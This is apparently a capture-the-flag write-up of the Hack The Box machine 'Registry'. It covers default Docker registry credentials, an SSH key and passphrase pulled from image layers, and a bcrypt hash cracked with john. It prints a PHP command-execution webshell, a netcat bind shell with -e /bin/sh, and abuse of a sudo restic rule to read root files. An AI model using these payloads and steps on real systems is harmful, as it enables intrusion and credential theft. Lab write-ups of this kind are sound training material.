Hello everyone and welcome to another CTF writeup!
We do the usual with our nmap scan and reveal port 22, 80 and 443. Port 443 reveals a subdomain for docker, so we might have a docker registry HTTP API running!
root@kali:~/Desktop/htb/Registry# nmap -sC -sV -o TCP_scan 10.10.10.159 Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-15 18:54 EST Nmap scan report for registry.htb (10.10.10.159) Host is up (0.020s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA) | 256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA) |_ 256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: Welcome to nginx! 443/tcp open ssl/http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: Welcome to nginx! | ssl-cert: Subject: commonName=docker.registry.htb | Not valid before: 2019-05-06T21:14:35 |_Not valid after: 2029-05-03T21:14:35 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 18.71 seconds
We run a dirbuster for both ports 80 and 443 and we find 2 directories and a file, /install, /bolt and /backup.php.
root@kali:~/Desktop/htb/Registry# cat DirBusterReport-10.10.10.159-80.txt DirBuster 1.0-RC1 - Report http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project Report produced on Sun Oct 20 15:08:18 EDT 2019 -------------------------------- http://10.10.10.159:80 -------------------------------- Directories found during testing: Dirs found with a 200 response: / /install/ /bolt/ -------------------------------- Files found during testing: Files found with a 200 responce: /backup.php --------------------------------
The php file /backup display’s nothing, we keep this in note so that we can explore it later when we are going to have access to the machine. /bolt folder contains a simple CMS and searchsploit does reveal some exploits but we continue exploring the box. The /install folder reveals only gibberish, we curl this raw data to analyze it :
root@kali:~/Desktop/htb/Registry# curl 10.10.10.159/install -L Warning: Binary output can mess up your terminal. Use "--output -" to tell Warning: curl to output it to your terminal anyway, or consider "--output Warning: <FILE>" to save to a file.
The data reveals to be a gzip file, containing a ca.crt and a readme.md file giving us hints :
root@kali:~/Desktop/htb/Registry# curl 10.10.10.159/install -L --output install_output % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 194 100 194 0 0 5388 0 --:--:-- --:--:-- --:--:-- 5388 100 1050 0 1050 0 0 7094 0 --:--:-- --:--:-- --:--:-- 7094 root@kali:~/Desktop/htb/Registry# file install_output install_output: gzip compressed data, last modified: Mon Jul 29 23:38:20 2019, from Unix, original size modulo 2^32 167772200 gzip compressed data, reserved method, has CRC, was "", from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 167772200 root@kali:~/Desktop/htb/Registry# mv install_output install.gzip root@kali:~/Desktop/htb/Registry# zcat output_install.gz ca.crt0000775000004100000410000000210613464123607012215 0ustar www-datawww-data-----BEGIN CERTIFICATE----- MIIC/DCCAeSgAwIBAgIJAIFtFmFVTwEtMA0GCSqGSIb3DQEBCwUAMBMxETAPBgNV BAMMCFJlZ2lzdHJ5MB4XDTE5MDUwNjIxMTQzNVoXDTI5MDUwMzIxMTQzNVowEzER MA8GA1UEAwwIUmVnaXN0cnkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB AQCw9BmNspBdfyc4Mt+teUfAVhepjje0/JE0db9Iqmk1DpjjWfrACum1onvabI/5 T5ryXgWb9kS8C6gzslFfPhr7tTmpCilaLPAJzHTDhK+HQCMoAhDzKXikE2dSpsJ5 zZKaJbmtS6f3qLjjJzMPqyMdt/i4kn2rp0ZPd+58pIk8Ez8C8pB1tO7j3+QAe9wc r6vx1PYvwOYW7eg7TEfQmmQt/orFs7o6uZ1MrnbEKbZ6+bsPXLDt46EvHmBDdUn1 zGTzI3Y2UMpO7RXEN06s6tH4ufpaxlppgOnR2hSvwSXrWyVh2DVG1ZZu+lLt4eHI qFJvJr5k/xd0N+B+v2HrCOhfAgMBAAGjUzBRMB0GA1UdDgQWBBTpKeRSEzvTkuWX 8/wn9z3DPYAQ9zAfBgNVHSMEGDAWgBTpKeRSEzvTkuWX8/wn9z3DPYAQ9zAPBgNV HRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQABLgN9x0QNM+hgJIHvTEN3 LAoh4Dm2X5qYe/ZntCKW+ppBrXLmkOm16kjJx6wMIvUNOKqw2H5VsHpTjBSZfnEJ UmuPHWhvCFzhGZJjKE+An1V4oAiBeQeEkE4I8nKJsfKJ0iFOzjZObBtY2xGkMz6N 7JVeEp9vdmuj7/PMkctD62mxkMAwnLiJejtba2+9xFKMOe/asRAjfQeLPsLNMdrr CUxTiXEECxFPGnbzHdbtHaHqCirEB7wt+Zhh3wYFVcN83b7n7jzKy34DNkQdIxt9 QMPjq1S5SqXJqzop4OnthgWlwggSe/6z8ZTuDjdNIpx0tF77arh2rUOIXKIerx5B -----END CERTIFICATE----- readme.md0000775000004100000410000000020113472260460012667 0ustar www-datawww-data# Private Docker Registry - https://docs.docker.com/registry/deploying/ - https://docs.docker.com/engine/security/certificates/ gzip: output_install.gz: unexpected end of file root@kali:~/Desktop/htb/Registry#
Continuing our exploration, we try to find more subdomains but without success :
wfuzz -H "Host : FUZZ.registry.htb" -u http://registry.htb/ -w /usr/share/dnsenum/dns.txt --hw 69
We proceed to docker.registry.htb/v2 to find out a 401 page, credentials admin:admin let us in, which is quite simple there. We can proceed to list all the images in the registry by visiting /v2/_catalog endpoint and download each blob so we can analyze that image locally.
root@kali:~/Desktop/htb/Registry# curl --user admin:admin docker.registry.htb/v2/_catalog {"repositories":["bolt-image"]}
To verify which reference we have for this image :
root@kali:~/Desktop/htb/Registry# curl --user admin:admin docker.registry.htb/v2/bolt-image/tags/list {"name":"bolt-image","tags":["latest"]}
According to docker registry manual, we can pull the image manifest sending a GET request to /v2/<name>/manifests/<
root@kali:~/Desktop/htb/Registry# curl --user admin:admin docker.registry.htb/v2/bolt-image/manifests/latest > bolt-image_manifest % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 7439 100 7439 0 0 207k 0 --:--:-- --:--:-- --:--:-- 207k root@kali:~/Desktop/htb/Registry# head bolt-image_manifest { "schemaVersion": 1, "name": "bolt-image", "tag": "latest", "architecture": "amd64", "fsLayers": [ { "blobSum": "sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b" }, { [...snip...]
We can now fetch all blobs and form an image locally :
root@kali:~/Desktop/htb/Registry# cat blobs sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b sha256:3f12770883a63c833eab7652242d55a95aea6e2ecd09e21c29d7d7b354f3d4ee sha256:02666a14e1b55276ecb9812747cb1a95b78056f1d202b087d71096ca0b58c98c sha256:c71b0b975ab8204bb66f2b659fa3d568f2d164a620159fc9f9f185d958c352a7 sha256:2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791 sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 sha256:f5029279ec1223b70f2cbb2682ab360e1837a2ea59a8d7ff64b38e9eab5fb8c0 sha256:d9af21273955749bb8250c7a883fcce21647b54f5a685d237bc6b920a2ebad1a sha256:8882c27f669ef315fc231f272965cd5ee8507c0f376855d6f9c012aae0224797 sha256:f476d66f540886e2bb4d9c8cc8c0f8915bca7d387e536957796ea6c2f8e7dfff root@kali:~/Desktop/htb/Registry# mkdir bolt-image_blobs root@kali:~/Desktop/htb/Registry# cd ./bolt-image_blobs/ root@kali:~/Desktop/htb/Registry/bolt-image_blobs# curl --user "admin:admin" docker.registry.htb/v2/bolt-image/blobs/sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b --output blob1 % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 335 100 335 0 0 4718 0 --:--:-- --:--:-- --:--:-- 4785 root@kali:~/Desktop/htb/Registry/bolt-image_blobs# curl --user "admin:admin" docker.registry.htb/v2/bolt-image/blobs/sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b --output blob1.tar.gz % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 335 100 335 0 0 4407 0 --:--:-- --:--:-- --:--:-- 4407 root@kali:~/Desktop/htb/Registry/bolt-image_blobs# tar -xvf blob1.tar.gz etc/ etc/profile.d/ etc/profile.d/01-ssh.sh etc/profile.d/.wh.02-ssh.sh root@kali:~/Desktop/htb/Registry/bolt-image_blobs# [...snip...]
We have the full docker root file system of the container :
root@kali:~/Desktop/htb/Registry/bolt-image_blobs# ls -la total 84 drwxr-xr-x 21 root root 4096 Feb 16 13:22 . drwxr-xr-x 3 root root 4096 Feb 16 13:08 .. drwxr-xr-x 2 root root 4096 Apr 24 2019 bin drwxr-xr-x 2 root root 4096 Apr 24 2018 boot drwxr-xr-x 4 root root 4096 Apr 24 2019 dev drwxr-xr-x 48 root root 4096 Apr 24 2019 etc drwxr-xr-x 2 root root 4096 Apr 24 2018 home drwxr-xr-x 8 root root 4096 May 23 2017 lib drwxr-xr-x 2 root root 4096 Apr 24 2019 lib64 drwxr-xr-x 2 root root 4096 Apr 24 2019 media drwxr-xr-x 2 root root 4096 Apr 24 2019 mnt drwxr-xr-x 2 root root 4096 Apr 24 2019 opt drwxr-xr-x 2 root root 4096 Apr 24 2018 proc drwx------ 3 root root 4096 Apr 24 2019 root drwxr-xr-x 7 root root 4096 Apr 26 2019 run drwxr-xr-x 2 root root 4096 Apr 24 2019 sbin drwxr-xr-x 2 root root 4096 Apr 24 2019 srv drwxr-xr-x 2 root root 4096 Apr 24 2018 sys drwxrwxrwt 2 root root 4096 Apr 24 2019 tmp drwxr-xr-x 10 root root 4096 Apr 24 2019 usr drwxr-xr-x 12 root root 4096 Apr 24 2019 var
We have a ssh private key /root/.ssh as well as the password for the key in /etc/profile.d/02-ssh.sh, we then proceed to login as bolt :
root@kali:~/Desktop/htb/Registry/bolt-image_blobs/root/.ssh# ls -la total 24 drwxr-xr-x 2 root root 4096 May 24 2019 . drwx------ 3 root root 4096 Apr 24 2019 .. -rw-r--r-- 1 root root 60 May 24 2019 config -rw------- 1 root root 3326 May 24 2019 id_rsa -rw-r--r-- 1 root root 743 May 24 2019 id_rsa.pub -rw-r--r-- 1 root root 444 May 24 2019 known_hosts
root@kali:~/Desktop/htb/Registry/bolt-image_blobs/root/.ssh# cat ../../etc/profile.d/02-ssh.sh #!/usr/bin/expect -f #eval `ssh-agent -s` spawn ssh-add /root/.ssh/id_rsa expect "Enter passphrase for /root/.ssh/id_rsa:" send "GkOcz221Ftb3ugog\n"; expect "Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)" interact root@kali:~/Desktop/htb/Registry# ssh -i id_rsa bolt@registry.htb The authenticity of host 'registry.htb (10.10.10.159)' can't be established. ECDSA key fingerprint is SHA256:G1J5ek/T6KuCCT7Xp2IN1LUslRt24mhmhKUo/kWWVrs. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'registry.htb,10.10.10.159' (ECDSA) to the list of known hosts. Enter passphrase for key 'id_rsa': Enter passphrase for key 'id_rsa': Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64) System information as of Sun Feb 16 18:31:40 UTC 2020 System load: 0.02 Users logged in: 1 Usage of /: 6.1% of 61.80GB IP address for eth0: 10.10.10.159 Memory usage: 33% IP address for docker0: 172.17.0.1 Swap usage: 0% IP address for br-1bad9bd75d17: 172.18.0.1 Processes: 168 Last login: Sun Feb 16 18:25:03 2020 from 10.10.15.99 bolt@bolt:~$
We find no interesting privilege escalation vector, we consider pivoting to www-data user since we still have that /backup.php file is readable by everyone but only executable by root user. In /var/www/bolt/app/database we find bolt.db that contains an encrypted password :
root@kali:~/Desktop/htb/Registry# john --wordlist=/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 1024 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status strawberry (admin) 1g 0:00:00:11 DONE (2020-02-16 13:50) 0.08525g/s 29.15p/s 29.15c/s 29.15C/s strawberry..ihateyou Use the "--show" option to display all of the cracked passwords reliably Session completed
We proceed to login as an admin in the Bolt CMS, where we use the File Management Tool to upload our reverse php shell. We first modify the config.yml to enable us uploading php files.
However we can’t obtain a shell, we only have timeouts. In that case there is clearly a something blocking the setup of external connections, we can try uploading a backdoor instead and we gain access as www-data :
root@kali:~/Desktop/htb/Registry# cat oneliner.php <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> root@kali:~/Desktop/htb/Registry#
A problem we have however is that the our files keep getting deleted every minute in this directory. We simply create a new directory in /html/bolt/, set permission to 777, so we can edit it as bolt, and copy our webshell there.
An easier way to maintain an access to the box is to have a bind shell. We use nc in listener mode. Since there’s a firewall or an entity blocking outgoing connections, consequently blocking all our attempts at a reverse shell, we simply create a bind shell with nc. Fortunately we have it on the victim’s machine. We use our webshell to run netcat by making a GET request to :
http://registry.htb/bolt/mywayin/webshell.php?cmd=nc.traditional%20-lp%209999%20-e%20/bin/sh
In our attacker machine :
root@kali:~/Desktop/htb/Registry# nc 10.10.10.159 9999 whoami www-data python -c "import pty; pty.spawn('/bin/sh');" $ id id uid=33(www-data) gid=33(www-data) groups=33(www-data)
To privesc, we find the a command that we can run as a privileged user with www-data :
$ sudo -l sudo -l Matching Defaults entries for www-data on bolt: env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on bolt: (root) NOPASSWD: /usr/bin/restic backup -r rest*
It can’t be simpler than that, we can append an argument to this command :
$ sudo /usr/bin/restic backup -r rest* --files-from /root/root.txt sudo /usr/bin/restic backup -r rest* --files-from /root/root.txt /var/ntrkzgnkotaxyju0ntrinda4yzbkztgw does not exist, skipping Fatal: all target directories/files do not exist
And we got the root flag! There were many things that were still not explored in this machine, such as the 2 other servers 172.17.0.1 and 172.18.0.1. Both of them ping back, but we did not put any effort to explore them. Obtaining root flag on this box was surprisingly simple, as it just required us to abuse a command as a privileged user.
However obtaining the root user is something different, we would have to setup our own repo with a script that opens a shell, and append an argument to the above command to make a backup at our repo, executing the malicious script.
To summarize, we found an exposed unsafe endpoint to a docker HTTP API with default credentials, that let us download a container which had an ssh key as well as credentials for the user. Exploring the box with this user we found a database file in Bolt CMS /app/database/ folder and found a encrypted password that we successfully cracked. In turn we got the credentials for the Bolt CMS as admin. From there we get a shell as www-data, however a firewall blocked outgoing connections so a simple bind shell let us execute code as www-data. This user had the power to execute a restic backup as root, and we abused this command to ex-filtrate the root.txt flag.
Thanks for reading!